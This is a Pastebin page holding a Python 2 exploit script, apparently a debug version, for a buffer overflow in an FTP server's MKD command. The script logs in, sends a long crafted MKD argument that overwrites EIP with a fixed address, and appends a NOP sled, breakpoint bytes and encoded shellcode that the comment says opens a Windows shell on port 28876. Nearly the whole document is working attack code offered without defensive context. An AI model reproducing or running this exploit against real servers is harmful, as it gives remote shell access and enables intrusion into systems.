Advertisement
Guest User

Untitled

a guest
Aug 8th, 2017
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.94 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3.  
  4. # cesar_dbg.py
  5. from socket import *
  6. import struct
  7.  
  8. eip = struct.pack('<i',0x77D8AF0A)
  9. host = "ip"
  10. port = 21
  11. user = "ftp"
  12. password = "ftp"
  13.  
  14. # Shellcode will open windows shell on port 28876
  15. shellcode = (
  16. "\xd9\xcc\xb8\x84\x3b\xe0\x15\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
  17. "\x36\x31\x42\x19\x03\x42\x19\x83\xc2\x04\x66\xce\xd1\xdc\x02"
  18. "\xba\x63\xef\x41\xca\x8f\x84\x23\x2f\x1b\xf4\xc3\xc4\x65\x29"
  19. "\x58\xec\xa1\x66\x46\x64\x21\x29\x1e\xb4\x9a\xf9\xec\xd0\x42"
  20. "\xa8\x67\x52\xe3\xe3\x08\x9d\x6b\x82\xf0\x2b\x88\xbc\x30\x7a"
  21. "\x43\x37\x2f\xab\xa8\xe2\xee\x05\x0e\xa2\xa7\xf4\x13\xab\x6b"
  22. "\x53\x5c\xbf\x2e\xa7\xe8\xe3\xcd\xaf\xef\xf0\x66\x04\xd0\x07"
  23. "\x91\xcd\x21\xda\x23\x79\x75\x4b\xa2\x93\xc2\x5d\x08\x5f\x5a"
  24. "\x8a\x94\x9c\xed\xbf\xe3\xe7\x2a\x35\xe0\x46\xbe\xfe\xd2\x77"
  25. "\x29\x0f\xad\x6c\xf8\x9b\x9a\x90\xfb\x72\x95\x41\xf8\x80\x34"
  26. "\x3a\x7f\xb6\x3f\x48\x88\x4a\x61\xb6\xdb\xab\x4d\xe1\x4e\xd3"
  27. "\x53\x7d\x04\x65\xf5\x2c\x19\x55\xa4\xd0\x36\xc3\x37\x01\x49"
  28. "\x13\xb8\x6d\xdf\xfc\x91\x3c\x4a\x02\xcd\xba\xb5\x88\x15\xf5"
  29. "\xe7\x23\x8d\x95\x6a\xa0\x6d\xd7\x09\x0c\x55\x4c\x5a\xe7\x63"
  30. "\xd5\x74\xf9\x3f\x5d\xba\xde\xe8\x33\x91\x4c\xd0\xf3\xfa\x79"
  31. "\x8b\xa9\x56\x2d\x61\xb1\x01\x35\x0e\x0b\x52\x5c\xda\x6b\x55"
  32. "\x60")
  33.  
  34. print "Lenght of shellcode: %d" % (len(shellcode))
  35.  
  36. s = socket(AF_INET, SOCK_STREAM)
  37. s.connect((host, port))
  38. print s.recv(1024)
  39.  
  40. s.send("user %s\r\n" % (user))
  41. print s.recv(1024)
  42. s.send("pass %s\r\n" % (password))
  43. print s.recv(1024)
  44.  
  45.  
  46. buffer = "MKD " # Command
  47. buffer += "\n" * 671 # Required parameter
  48. buffer += "OMG" # 3 bytes alpha char, also required
  49. buffer += eip # Control EIP
  50. buffer += "\x90" * 10
  51. buffer += "\xcc\xcc\xcc\xcc" # INT 3, break / pause the execution
  52. buffer += shellcode # Payload
  53. buffer += "\r\n" # Another required parameter
  54.  
  55.  
  56. print "Lenght of buffer: %d" % (len(buffer))
  57.  
  58. s.send(buffer)
  59. print s.recv(1024)
  60. s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement